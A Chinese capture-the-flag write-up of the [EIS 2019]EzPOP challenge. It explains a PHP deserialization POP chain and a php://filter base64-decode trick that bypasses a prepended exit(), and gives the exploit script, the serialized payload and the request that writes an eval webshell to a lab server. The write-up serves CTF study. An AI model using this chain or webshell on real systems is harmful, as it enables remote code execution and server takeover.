php://filter绕过死亡exit

news2025/1/21 6:31:14

文章目录

    • php://filter绕过死亡exit
      • 前言
      • [EIS 2019]EzPOP
        • 绕过exit
      • 参考

php://filter绕过死亡exit

前言

最近写了一道反序列化的题,其中有一个需要通过php://filter去绕过死亡exit()的小trick,这里通过一道题目来讲解

[EIS 2019]EzPOP

题目源码:

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

刚开始看到这题很懵逼,我们这里反过来讲,首先容易看出,这段代码应该是需要我们写一个shell进去

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

我们溯源一下filename和data的值是从哪里传过来的:

$filename = $this->getCacheKey($name);
$data = $this->serialize($value);

可以看到,这两个值是从函数:public function set($name, $value, $expire = null): bool的形参中传过来的,如何调用set()方法呢?我们需要注意到:A::__destruct()

A::__destruct() -> save() -> set()

set()会被A的变量store调用,所以store就需要传递一个B类的对象。而A调用set()传递了三个参数:

set($this->key, $contents, $this->expire) ,其中key在构造方法中赋值,$contents在哪来呢?

$contents = $this->getForStorage() -> $this->cleanContents($this->cache)

$this->cache变量传入cleanContents()返回,最终通过json串形式返回给$contents

其实getForStorage()cleanContents()没什么用,这里不用管,$expire也没什么用

经过分析,我们知道在A类中,$key传入的是写入文件的名字,$cache可以最终传给$contents,然后当作文件内容写入,$store存储B类对象,$complete、$expire为空值即可

这样我们能够确定B类set()file_put_contents()的两个变量了,但是怎么绕过exit()?不绕过写了shell也没用

这里通过 p神文章 学习了通过php://filter绕过

我们可以使用该php://filter的base64-decoderot13strip_tags等过滤器来绕过,这里我们使用base64-decode:

绕过exit

如果我们在写入文件的前面有exit(),例如:

<?php
$filename=$_POST['filename'];
$content=$_POST['content'];
file_put_contents($filename,'<?php exit();?>'.$content);

我们这里$filename $content 都是可以控制的,于是我们可以使用php://filter/write=convert.base64-decode/

当我们的$filename为:php://filter/write=convert.base64-decode/resource=shell.php

PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== 是<?php @eval($_POST[1]);?>的base64编码

并且$content: xPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

那么就可以进行绕过,shell.php:

^+q<?php @eval($_POST[1]);?>

这是什么原理呢,当我们文件名是php://filter伪协议,并且进行base64解码时,就会将写入文件内容的数据进行一次base64解码,于是原来的<?php exit();?>经过解码后就失效了,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==经过解码就形成了一句话木马。

为什么这里$content前要加一个字母x?因为base64解码是4个一组,<?php exit();?>为15个字符,加上一个刚好凑够16个,不干扰后面的base64解码

知道绕过exit就简单了,我们可以将一句话木马base64编码两遍,传给A::cache变量,然后设置一下B中的options数组:

$this->options = array('serialize'=>'base64_decode','expire'=>'123');

这样B中的data就是,经过了一个base64解码后的值了

$data = $this->serialize($value);

然后在php://filter是base64解码两次,写入了shell.php

我们编写exp:

<?php

class A
{

    protected $store;

    protected $key;

    protected $expire;

    public $complete;


    public $cache;

    public function __construct()
    {
        $this->store = new B();
        $this->key = "php://filter/write=convert.base64-decode/resource=shell.php";
        $this->expire = null;
        $this->complete = "";
        $this->cache = array("YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09");
    }

}

class B
{
    public $options;

    public function __construct()
    {
        $this->options = array('serialize'=>'base64_decode','expire'=>'123');
    }

}

$a = new A();
echo urlencode(serialize($a));

# O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D

这里有个点需要注意一下:

image-20230730213721096

在一句话木马一次base64后需要在前面加3个a,让其4个一组

写入:

http://fceb4489-ee1c-434e-a4c4-a760e4026c92.node4.buuoj.cn:81/index.php?src=1&data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D

image-20230730213844602

参考

谈一谈php://filter的妙用

[EIS 2019]EzPOP

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/813068.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

*CTF 2023 web jwt2struts 题解wp

jwt2struts 根据题目名字猜测&#xff0c;这题考察jwt和Struts2 包里面果然有一个cookie 验证了&#xff0c;是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU 我们的目标应该是把user改…

深蓝学院C++基础与深度解析笔记 第13章 模板

1. 函数模板 ● 使用 template 关键字引入模板&#xff1a; template<typename T> //声明&#xff1a;T模板形参void fun(T); // T 函数形参template<typename T> //定义void fun(T) {...}– 函数模板不是函数 –…

安全学习DAY12_信息打点-Web应用信息搜集

信息打点-Web应用 文章目录 信息打点-Web应用业务资产企业查信息的目的 Web应用信息搜集Web网站域名搜集WEB单域名WEB子域名OneForAll&#xff08;子域名收集工具&#xff09; WEB网站架构资产WEB指纹识别资产 常用查询平台汇总查企业信息查备案信息查公众号信息域名注册查询IP…

【Linux】进程篇Ⅱ:进程开始、进程终止、进程等待、程序替换

文章目录 五、fork 函数&#xff0c;创建进程写时拷贝 六、进程终止1. 退出码2. 如何终止程序 七、进程等待1. 概念2. wait 函数waitpid 函数 &#x1f53a; 3. 阻塞等待 八、程序替换1. execl2. execv3. execlp4. execvp5. execle &#x1f53a;6. execvpe 、execve 一个简易的…

vmware的window中安装GNS3

1.向vmware中的windows虚拟机传送文件 点击虚拟机-安装VMwaretools 安装在虚拟机上面 此图标代表已经成功&#xff0c;将文件复制到虚拟机上里面 2.安装 安装gns3&#xff0c;需要先安装winpcap&#xff08;检查网卡&#xff09;和wireshark&#xff08;对winpcap上数据进行抓…

16- C++多态-4 (C++)

第五章 多态 5.1 多态的引入 思考&#xff1a;在之前实现的英雄模型中&#xff0c;假如实现某个接口可以传入一个英雄&#xff0c;在该接口中可以对英雄的力量、敏捷和智力进行加强&#xff0c;请问该接口的参数该如何设计&#xff1f; 以上解决办法利用了C中的多态&#xf…

51单片机定时器/计数器

目录 1、定时器/计数器0/1介绍 1.1 定时器介绍 1.2 单片机定时/计数器原理 2、定时器/计数器0和1的相关寄存器 2.1 定时器/计数器控制寄存器TCON 2.2 定时器/计数器工作模式寄存器TMOD 2.3 定时器/计数器工作模式 2.3.1 模式0(13位定时器/计数器) 2.3.2 模式1(16位定…

CSDN如何输入公式

方法分三步&#xff1a; 1&#xff09;预先设置MathType的复制剪切选项 2&#xff09;将MathType已经编写好的公式复制到CSDN 3&#xff09;把复制的公式文本&#xff0c;首尾的“\[”和“\]”符号替换成“$$”和“$$” 1&#xff09;预先设置MathType的复制剪切选项 2&#x…

海量数据存储组件Hbase

hdfs hbase NoSQL数据库 支持海量数据的增删改查 基于Rowkey查询效率特别高 kudu 介于hdfs和hbase之间 hbase依赖hadoopzookeeper&#xff0c;同时整合框架phoenix(擅长读写),hive&#xff08;分析数据&#xff09; k&#xff0c;v 储存结构 稀疏的&#xff08;为空的不存…

Qt实现思维导图锦集

序号简述文章导航1思维导图树形结构、不重叠且均匀分布、支持折叠和展开核心树2菜单按钮风格、菜单提示风格、侧滑菜单、侧滑功能窗口UI设计3支持JPEG、PNG、XML、JSON、PDF、SVG格式文件数据导入导出4支持撤销回撤功能、显示节点操作流程、点击可跳转历史撤销回撤5思维导图横向…

哈工大计算机网络课程网络安全基本原理详解之:消息完整性与数字签名

哈工大计算机网络课程网络安全基本原理详解之&#xff1a;消息完整性与数字签名 这一小节&#xff0c;我们继续介绍网络完全中的另一个重要内容&#xff0c;就是消息完整性&#xff0c;也为后面的数字签名打下基础。 报文完整性 首先来看一下什么是报文完整性。 报文完整性…

C++模拟实现反向迭代器

1.代码实现 1.有了解正向迭代器的应该知道&#xff0c;比如list的正向迭代器其实本质是一个类&#xff0c;而有些人想模拟实现反向迭代器&#xff0c;依旧想再创建一个类&#xff0c;但是库里面想要的是&#xff0c;你给我一个迭代器&#xff0c;我就能给你反馈一个反向迭代器…

信号槽中的函数重载

信号槽中的函数重载 QT4的方式QT5的方式函数指针重载函数QT5信号函数重载解决方案 总结 QT4的方式 Qt4中声明槽函数必须要使用 slots 关键字, 不能省略。 信号函数&#xff1a; 槽函数&#xff1a; mainwondow: cpp文件&#xff1a; #include "mainwindow.h"…

C/C++多线程操作

文章目录 多线程C创建线程join 和detachthis_thread线程操作锁lock_guardunique_lock 条件变量 condition_variablewaitwaitfor C语言线程创建线程同步 参考 多线程 传统的C&#xff08;C11标准之前&#xff09;中并没有引入线程这个概念&#xff0c;在C11出来之前&#xff0c…

C语言:反转一个单链表

Lei宝啊&#xff1a;个人主页 题目&#xff1a; 描述&#xff1a; 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 接口&#xff1a; struct ListNode* reverseList(struct ListNode* head){} 示例&#xff1a; 输入&#xff1a; head [1…

一起学算法(冒泡排序篇)

1.概念 冒泡排序&#xff08;Bubble Sort&#xff09;又称泡式排序&#xff0c;是一种简单的排序算法 核心思想&#xff1a;它重复地走访过要排列的次数&#xff0c;一次比较两个元素&#xff0c;如果它们的顺序错误就把它们交换过来&#xff0c;走访数列的工作是重复地进行交…

【Datawhale夏令营】任务三学习笔记

任务一笔记回顾 任务二笔记回顾 目录 一&#xff1a;竞赛上分流程 1.1问题建模1.2数据分析 1.3数据清洗1.4特征工程 1.5模型训练与验证 二&#xff1a;任务总结与心得 一&#xff1a;竞赛上分流程 问题建模——>数据分析 ——>数据清洗——>特征工程——>模型…

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000

leetcode上的一道题&#xff0c;当 s “a” 这样的单字符的时候&#xff0c;使用memset会出错&#xff0c;ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000。 有些奇怪&#xff0c; 记录一下&#xff0c;双字符以及以上的时候不会报错&#xff0c;

Spring注解开发,bean的作用范围及生命周期、Spring注解开发依赖注入

&#x1f40c;个人主页&#xff1a; &#x1f40c; 叶落闲庭 &#x1f4a8;我的专栏&#xff1a;&#x1f4a8; c语言 数据结构 javaweb 石可破也&#xff0c;而不可夺坚&#xff1b;丹可磨也&#xff0c;而不可夺赤。 Spring注解开发 一、注解开发定义Bean二、纯注解开发Bean三…

MacOS Sonoma 14.0 (23A5301g) Beta4 带 OC 0.9.3 and FirPE 双分区原版黑苹果镜像

7月26日苹果发布macOS Sonoma Beta 4预览版更新&#xff0c;但部分用户在升级后遇到了各种问题。这一测试版目前还处于开发阶段&#xff0c;因此出现各种问题并不意外。 一、镜像下载&#xff1a; 1.微信公众号&#xff1a;MacOS Sonoma 14.0 (23A5301g) Beta4 带 OC 引导双分…